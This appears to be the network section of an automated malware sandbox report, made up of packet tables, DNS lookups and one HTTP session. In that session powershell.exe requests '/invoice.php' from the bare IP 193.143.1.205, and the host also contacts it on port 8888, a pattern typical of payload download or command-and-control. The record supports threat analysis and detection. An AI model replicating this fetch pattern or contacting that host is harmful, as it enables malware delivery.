Jan 11, 2025 05:54:01.045161009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045195103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.045334101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045389891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045392990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.045425892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045471907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.045557022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045607090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045644045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045654058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.045677900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045713902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045725107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.045749903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045795918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.045804024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045840979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045875072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.045890093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.050165892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.050223112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.050230980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.050261974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.050296068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.050311089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.050339937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.050370932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.050389051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.103601933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.167025089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.171984911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172055960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172094107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172117949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172128916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172166109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172194958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172261000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172297001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172311068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172350883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172386885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172401905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172420979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172457933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172496080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172502995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172530890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172544003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172636986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172672033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172686100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172708988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172745943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172760010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172780991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172816992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172832012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172853947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172888994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172904015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.172923088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172966003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.172972918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.173036098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173083067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.173213005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173248053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173281908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173301935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.173317909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173353910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173363924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.173388004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173423052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173433065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.173459053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173496008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173506021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.173528910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173564911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173576117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.173600912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173636913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173645973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.173868895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173913002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173928976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.173949003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173984051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.173994064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174021006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174071074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174076080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174109936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174145937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174158096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174180031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174222946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174235106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174268961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174304962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174329996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174339056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174391985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174391985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174428940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174463034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174474001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174499035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174534082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174546957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174570084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174603939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174618959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174638033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174673080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174679995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.174711943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.174757004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175040007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175075054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175108910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175127029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175143957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175179005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175189018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175213099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175247908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175260067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175282955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175334930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175338030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175374985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175414085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175424099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175447941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175483942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175493956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175518990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175554037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175559998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175591946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175637960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175797939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175832987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175868034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175880909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175904036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175937891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.175951958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.175973892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176008940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176038980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176043034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176079035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176090956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176112890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176148891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176157951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176183939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176218033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176220894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176254034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176289082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176300049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176322937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176362038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176362038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176554918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176589012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176599026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176625013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176661015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176673889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176697969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176733971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176757097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176775932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.176817894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.176968098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177021027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177053928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177067041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177088976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177124023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177134037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177160025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177196026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177205086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177232027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177264929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177277088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177299023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177334070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177344084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177367926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177403927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177417994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177438021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177474022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177503109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177509069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177545071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177553892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177580118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177614927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177624941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177649021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177696943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177700996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.177732944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177771091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.177778006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.189097881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.189132929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.189166069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.189169884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.189208031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.189225912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.189243078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.189277887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.189301014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.189349890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.189452887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.198436975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.198492050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.198527098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.198544025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.198564053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.198600054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.198611975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.243855000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.367552042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.372567892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.372629881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.372667074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.372679949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.372703075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.372739077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.372751951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.372773886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.372832060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.372883081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.372917891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.372953892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.372963905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.372988939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.373023987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.373034000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.373085022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.373131990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.373140097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.373174906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.373210907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.373245955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.373249054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.373284101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.373291969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.415739059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.442152023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.544372082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.718225956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:02.193603992 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:02.198638916 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:02.198759079 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:02.199116945 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:02.204032898 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:03.008995056 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:03.056354046 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:03.169430971 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:54:15.152544975 CET	56807	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:54:39.368448019 CET	51435	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:55:03.493145943 CET	50888	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:54:15.152544975 CET	192.168.2.6	1.1.1.1	0x45c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:54:39.368448019 CET	192.168.2.6	1.1.1.1	0x1f20	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:55:03.493145943 CET	192.168.2.6	1.1.1.1	0x2c00	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:54:14.827162981 CET	1.1.1.1	192.168.2.6	0x8de9	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:54:14.827162981 CET	1.1.1.1	192.168.2.6	0x8de9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:54:14.827162981 CET	1.1.1.1	192.168.2.6	0x8de9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:54:14.827162981 CET	1.1.1.1	192.168.2.6	0x8de9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:54:14.827162981 CET	1.1.1.1	192.168.2.6	0x8de9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:54:14.827162981 CET	1.1.1.1	192.168.2.6	0x8de9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:54:14.827162981 CET	1.1.1.1	192.168.2.6	0x8de9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:54:14.827162981 CET	1.1.1.1	192.168.2.6	0x8de9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:54:14.827162981 CET	1.1.1.1	192.168.2.6	0x8de9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:54:15.160298109 CET	1.1.1.1	192.168.2.6	0x45c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:54:39.375804901 CET	1.1.1.1	192.168.2.6	0x1f20	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:55:03.500216961 CET	1.1.1.1	192.168.2.6	0x2c00	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:55:14.878458977 CET	1.1.1.1	192.168.2.6	0x68a6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:55:14.878458977 CET	1.1.1.1	192.168.2.6	0x68a6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:55:27.610336065 CET	1.1.1.1	192.168.2.6	0x9934	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:55:27.610336065 CET	1.1.1.1	192.168.2.6	0x9934	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:55:51.735337973 CET	1.1.1.1	192.168.2.6	0x713c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:55:51.735337973 CET	1.1.1.1	192.168.2.6	0x713c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	2132	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:53:59.609112978 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
